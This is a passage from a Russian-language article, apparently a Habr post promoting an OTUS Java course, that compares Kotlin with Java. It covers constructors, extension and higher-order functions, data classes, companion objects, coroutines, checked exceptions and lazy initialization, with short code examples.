* Один из них прописывается после имени класса и называется первичным конструктором, а второй прописывается в теле класса и называется вторичным конструктором.
* В классе могут быть один первичный конструктор и несколько вторичных.
Первичный конструктор не может содержать код. Код инициализации можно поместить в блок `init`.
```
fun main(args: Array) {
val per1 = Person(“amir”) //вызов только первичного конструктора
val per2 = Person(“ansari”,20, ‘A’) //если убрать ‘A’ , вторичный конструктор не вызывается, //так как нет значения по умолчанию для blood\_group
}
```
Вторичный конструктор должен расширять поведение первичного конструктора.
```
class Person (var name: String, var age: Int = 18) {
init{
println(“Student has got a name as $name and age as $age”)
}
var blood_group: Char = ‘O’
constructor(_name: String, age: Int, blood_group: Char) : this(_name, age) {
this.blood_group = blood_group
println(“Student name= $_name and age= $age and blood group=$blood_group”)
}
}
```
**2. Функции-расширения**
* Kotlin позволяет разработчикам расширять класс, добавляя новую функциональность при помощи функций-расширений.
* Это поистине замечательное улучшение, поскольку программисту не требуется расширять класс.
* По сути, функция-расширение — это функция, которая является членом класса, но определена за его пределами.
* В Java функций-расширений не было.
```
fun String.countSpaces(): Int {
return this.count { c -> c == ‘ ‘ }
}
```
**3. Функции высшего порядка**
В языке Kotlin функция, которая может принимать в качестве параметра функцию или лямбда-выражение или же может возвращать функцию, называется функцией высшего порядка (higher-order function).
```
// лямбда-выражение
var lambda = {a: Int , b: Int -> a + b }
//функция высшего порядка
fun highfun( lmbd: (Int, Int) -> Unit) { // принимает лямбда-выражение как параметр, ничего не возвращает
var result = lmbd(2,4) // вызывает лямбда-выражение, передавая ему параметры
println(“Сумма двух чисел равна $result”)
}
fun main() {
highfun(lambda) //лямбда-выражение передается как параметр
}
```
**4. Data-классы**
* В больших проектах, как правило, используется несколько классов, предназначенных исключительно для хранения данных.
* Разработчику на Java приходится писать много стандартного, но часто встречающегося кода (так называемый шаблонный код или `boilerplate`), data-классы в Kotlin позволяют избежать этих дополнительных усилий.
* В Java-классе для этой цели должны присутствовать геттеры и сеттеры, функции `Hashcode()`, `toString()` и `equals()`. Эквивалентом в Kotlin будет...
```
data class Person(var name: String, var surname: String, var id: String)
```
— это все!
**5. Статические члены**
Как только мы объявляем переменную `static`, она загружается в память во время компиляции, то есть доступна только одна ее копия. Одиночки (signgleton) и статические члены имеют схожее поведение.
Ключевое слово `static` делает компонент частью класса, не связанной с объектом этого класса.
В концепции ООП то, что не является объектом, существовать не должно.
В Java все должно объявляться внутри класса. Но в Kotlin все иначе. Компоненты могут объявляться за пределами класса, и это автоматически делает их статическими. Поэтому нам не требуется ключевое слово `static`.
В Java статические члены обрабатываются не так, как члены-объекты. Это означает, что для статических членов нам недоступны такие вещи, как реализация интерфейса, помещение экземпляра в ассоциативный список (map) или передача его в качестве параметра методу, который принимает объект.
В Kotlin `static` не является ключевым словом и вместо статических членов используются объекты-компаньоны, позволяющие преодолеть вышеуказанные ограничения.
* В этом и заключается преимущество.
* Даже если члены объектов-компаньонов выглядят как статические члены в других языках, во время выполнения они все равно остаются членами экземпляров реальных объектов и могут, например, реализовывать интерфейсы.
**6. Асинхронная обработка**
В Java существует множество решений для асинхронной работы: RxJava, AsyncTask (уже официально не поддерживается), обработчики, обратные вызовы...
Наряду со всеми этими возможностями в Kotlin также имеются корутины (`coroutines`, также их называют сопрограммами), которые упрощают работу.
Корутины (или легковесные потоки) не являются отдельными потоками, но несколько корутин могут совместно использовать один поток.
**7. Проверяемые исключения**
Такие исключения, как IOException и `FileNotFoundException`, присутствуют в Java, но не поддерживаются в Kotlin.
* Причина в том, что они ничего не делают, кроме как содержат комментарий в блоке `catch`.
**8. Ленивая загрузка**
В Kotlin модификаторы lateinit и by Lazy позволяют инициализировать значения до их фактического использования.
```
val myUtil by lazy {
MyUtil(parameter1, parameter2)
}
lateinit var myUtil: MyUtil
```
Вышеприведенный код инициализирует объект MyUtil. Но это будет сделано только при первом использовании `myUtil`.
Оба варианта служат одной цели, но по факту сильно отличаются. Один является неизменяемым (`val`), другой — изменяемым (`var`).
```
@Injectlateinit var myUtil: MyUtil
```
* Ключевое слово `lateinit`было специально введено в Kotlin для переменных внедрения зависимостей (DI). Его следует использовать для изменяемых или устанавливаемых извне значений. Это полезно, если мы не хотим инициализировать значение, но при этом хотим избежать проверки на `null`.
Чтобы проверить, было ли свойство, определенное как `lateinit var`, уже инициализировано, вызовите метод `.isInitialized()` для ссылки на это свойство:
```
if (foo::bar.isInitialized) {
println(foo.bar)
}
```
Переменная `lateinit` может быть инициализирована из любого места, откуда доступен объект.
В свою очередь, Java не поддерживает отложенную инициализацию, поэтому значения инициализируются, даже если они не используются.
Вот некоторые различия между этими двумя мощными языками.
Благодарю за внимание!
---
> Материал подготовлен в рамках курса [«Подготовка к сертификации Oracle Java Programmer (OCAJP)».](https://otus.pw/cpHC/)
>
> Всех желающих приглашаем на открытый урок **«Конструкторы и блоки инициализации»**. На занятии мы:
> - Разберём конструктор на запчасти;
> - Определим финалистов (финальные переменные);
> - Наведём порядок (инициализации).
>
> [→ РЕГИСТРАЦИЯ](https://otus.pw/TRCb/)
>
> | https://habr.com/ru/post/580738/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.